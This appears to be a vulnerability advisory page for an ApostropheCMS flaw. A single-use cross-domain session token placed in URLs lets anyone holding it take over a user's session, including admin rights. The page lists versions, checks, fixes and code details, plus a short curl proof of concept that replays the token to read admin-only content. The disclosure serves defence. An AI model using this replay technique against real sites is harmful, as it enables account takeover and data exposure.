---
id: "CVE-2026-113669"
kind: "vulnerability"
aliases: ["CVE-2026-113669", "GHSA-hhvr-8m24-qqr3"]
title: "ApostropheCMS: Cross-domain session token in URL confers session takeover"
severity: "medium"
cvss: 5.3
epss: 0.0033599999733269215
exploited: false
status: "open"
category: "package"
products: [{"name": "apostrophe", "fixed": ["4.33.0"], "affected": "< 4.33.0", "ecosystem": "npm"}, {"name": "@apostrophecms/passport-bridge", "fixed": ["1.6.1"], "affected": "< 1.6.1", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["apostrophe", "cms", "cwe-598", "node", "package", "self-hosted"]
not_affected_if: ["apostrophe-at-or-above-4.33.0", "no-passport-bridge-at-or-above-1.6.1"]
published_at: "2026-10-20T18:09:01+00:00"
first_seen_at: "2026-10-23T19:11:32+00:00"
updated_at: "2026-10-23T21:57:21+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-hhvr-8m24-qqr3", "first_seen_at": "2026-10-23T19:11:32+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113669", "first_seen_at": "2026-10-23T21:57:21+00:00"}]
---

# ApostropheCMS: Cross-domain session token in URL confers session takeover

ApostropheCMS puts a single-use session token in the URL when migrating a user session across hosts or locales, and any client that presents that token silently takes over the target user's full session, including admin privileges, with no credentials. An attacker who obtains the token from logs, browser history, or a Referer header can read admin-only content as that user.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:apostrophe affected < 4.33.0 fixed 4.33.0
- npm:@apostrophecms/passport-bridge affected < 1.6.1 fixed 1.6.1

## How to check

Check installed versions: npm ls apostrophe @apostrophecms/passport-bridge
If apostrophe is below 4.33.0 or @apostrophecms/passport-bridge is below 1.6.1, the instance is vulnerable.

## Fix

Upgrade apostrophe to 4.33.0 or later and @apostrophecms/passport-bridge to 1.6.1 or later.
Until upgraded, rotate sessions for users who have used cross-domain login and review proxy and access logs for aposCrossDomainSessionToken.

## Timeline

- 2026-10-23T19:11:32+00:00 ghsa https://github.com/advisories/GHSA-hhvr-8m24-qqr3
- 2026-10-23T21:57:21+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-113669

## From the sources

**Summary**
Apostrophe's cross-domain session migration emits a single-use session token as a URL query parameter and stores it in the Mongo cache. Any client that presents the token silently adopts the target user's full session (including `passport.user`) with no credentials.

**Details**
`packages/apostrophe/modules/@apostrophecms/i18n/index.js`:
- Token generation on cross-host/locale flows (L479–487) and passport-bridge cross-locale redirect (`passport-bridge/index.js` L557–593) places the token in the URL.
- `acceptCrossDomainSessionToken` (L258–298) reads `?aposCrossDomainSessionToken`, `Object.assign`s the stored session (cookie + `passport.user`) onto `req.session`, then nulls the cache entry under namespace `@apostrophecms/i18n:cross-domain-sessions`.
- Middleware without `before:` is registered for every URL (express `findModuleMiddlewareAndRoutes` L820–879); verified with `APOS_LOG_ALL_ROUTES=1`.

**PoC**
```
# 0) Anonymous baseline: admin-only draft → 403
# 1) Admin logs in legitimately (token minted into redirect URL):
curl -c admin.cookies -X POST -H "Content-Type: application/json" \
     --data '{"username":"admin","password":"adminpassword","session":true}' \
     http://localhost:3100/api/v1/@apostrophecms/login/login
# 2) Attacker with NO credentials visits the leaked token URL:
curl -c atk.cookies "http://localhost:3100/?aposCrossDomainSessionToken=HUNTING_TOKEN"
#    → 302 Location: / ; attacker now holds a vulnlab.sid SID cookie
# 3) Attacker reads admin-only content via adopted session:
curl -b atk.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"
#    → 200  adopted-session read -> Secret Private Page | secretData = TOP-SECRET-VALUE-abc123
# 4) Cache entry consumed (single-use): {"value":null}
```

**Impact**
Session hijack / account takeover of the migrated user for anyone who obtains the token, inheriting all the account's privileges. Exposure is realistic precisely because the token is in URLs: server/proxy/browser-access logs, browser history, and the Referer header when the destination host differs from the source (the intended use case). Single-use limits but does not remove the window.

**Remediation** — Deliver the token via a short-lived HttpOnly signed SameSite cookie rather than a query parameter; bind consumption to the exact source/destination host pair, expire in seconds, and never log it.

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_